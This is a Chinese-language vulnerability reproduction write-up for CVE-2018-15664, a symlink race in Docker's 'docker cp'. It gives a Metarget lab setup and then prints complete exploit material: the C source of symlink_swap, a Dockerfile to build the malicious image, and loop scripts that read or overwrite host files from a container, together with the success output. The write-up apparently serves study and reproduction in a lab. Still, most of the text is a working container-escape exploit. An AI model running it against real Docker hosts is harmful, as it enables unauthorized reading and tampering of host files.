CVE-2018-15664：符号链接替换漏洞

docker cp container_id:file_path_in_container host_path#实例docker cp 0cd4d9d94de2:/Test.java /Test.java

ln -s targrt_path link_path

#安装Metargetgit clone https://github.com/brant-ruan/metarget.gitcd metarget/pip install -r requirements.txt#一键部署漏洞环境./metarget cnv install cve-2018-15664#完成后查看docker版本root@ubuntu:/home# docker --versionDocker version 18.03.1-ce, build 9ee9f40

.├── build│   ├── Dockerfile│   └── symlink_swap.c├── run_read.sh└── run_write.sh

# Build the binary.FROM opensuse/leapRUN zypper in -y gcc glibc-devel-staticRUN mkdir /builddirCOPY symlink_swap.c /builddir/symlink_swap.cRUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c# Set up our malicious rootfs.FROM opensuse/leapARG SYMSWAP_TARGET=/w00t_w00t_im_a_flagARG SYMSWAP_PATH=/totally_safe_pathRUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"COPY --from=0 /builddir/symlink_swap /symlink_swapENTRYPOINT ["/symlink_swap"]

#define _GNU_SOURCE#include <fcntl.h>#include <stdlib.h>#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/syscall.h>#include <unistd.h>#define usage()     do { printf("usage: symlink_swap <symlink>n"); exit(1); } while(0)#define bail(msg)     do { perror("symlink_swap: " msg); exit(1); } while (0)/* No glibc wrapper for this, so wrap it ourselves. */#define RENAME_EXCHANGE (1 << 1)/*int renameat2(int olddirfd, const char *oldpath,              int newdirfd, const char *newpath, int flags){    return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);}*//* usage: symlink_swap <symlink> */int main(int argc, char **argv){    if (argc != 2)        usage();    char *symlink_path = argv[1];    char *stash_path = NULL;    if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)        bail("create stash_path");    /* Create a dummy file at symlink_path. */    struct stat sb = {0};    if (!lstat(symlink_path, &sb)) {        int err;        if (sb.st_mode & S_IFDIR)            err = rmdir(symlink_path);        else            err = unlink(symlink_path);        if (err < 0)            bail("unlink symlink_path");    }    /*     * Now create a symlink to "/" (which will resolve to the host's root if we     * win the race) and a dummy directory at stash_path for us to swap with.     * We use a directory to remove the possibility of ENOTDIR which reduces     * the chance of us winning.     */    if (symlink("/", symlink_path) < 0)        bail("create symlink_path");    if (mkdir(stash_path, 0755) < 0)        bail("mkdir stash_path");    /* Now we do a RENAME_EXCHANGE forever. */    for (;;) {        int err = renameat2(AT_FDCWD, symlink_path,                            AT_FDCWD, stash_path, RENAME_EXCHANGE);        if (err < 0)            perror("symlink_swap: rename exchange failed");    }    return 0;}

SYMSWAP_PATH=/totally_safe_pathSYMSWAP_TARGET=/w00t_w00t_im_a_flag# 创建flagecho "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"sudo chmod 000 "$SYMSWAP_TARGET"# 构建镜像并运行容器docker build -t cyphar/symlink_swap     --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH"     --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")# 不断执行docker cp命令idx=0while truedo    mkdir "ex${idx}"    docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"    idx=$(($idx + 1))done

SYMSWAP_PATH=/totally_safe_pathSYMSWAP_TARGET=/w00t_w00t_im_a_flag# 创建flagecho "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"sudo chmod 0444 "$SYMSWAP_TARGET"# 构建镜像并运行容器docker build -t cyphar/symlink_swap     --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH"     --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")echo "SUCCESS -- HOST FILE CHANGED" | tee localpath# 不断执行docker cp命令while truedo    docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"done

FAILED -- HOST FILE UNCHANGED

SUCCESS -- HOST FILE CHANGED

// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an// absolute path. This function handles paths in a platform-agnostic manner.func FollowSymlinkInScope(path, root string) (string, error) {    path, err := filepath.Abs(filepath.FromSlash(path))    if err != nil {        return "", err    }    root, err = filepath.Abs(filepath.FromSlash(root))    if err != nil {        return "", err    }    return evalSymlinksInScope(path, root)}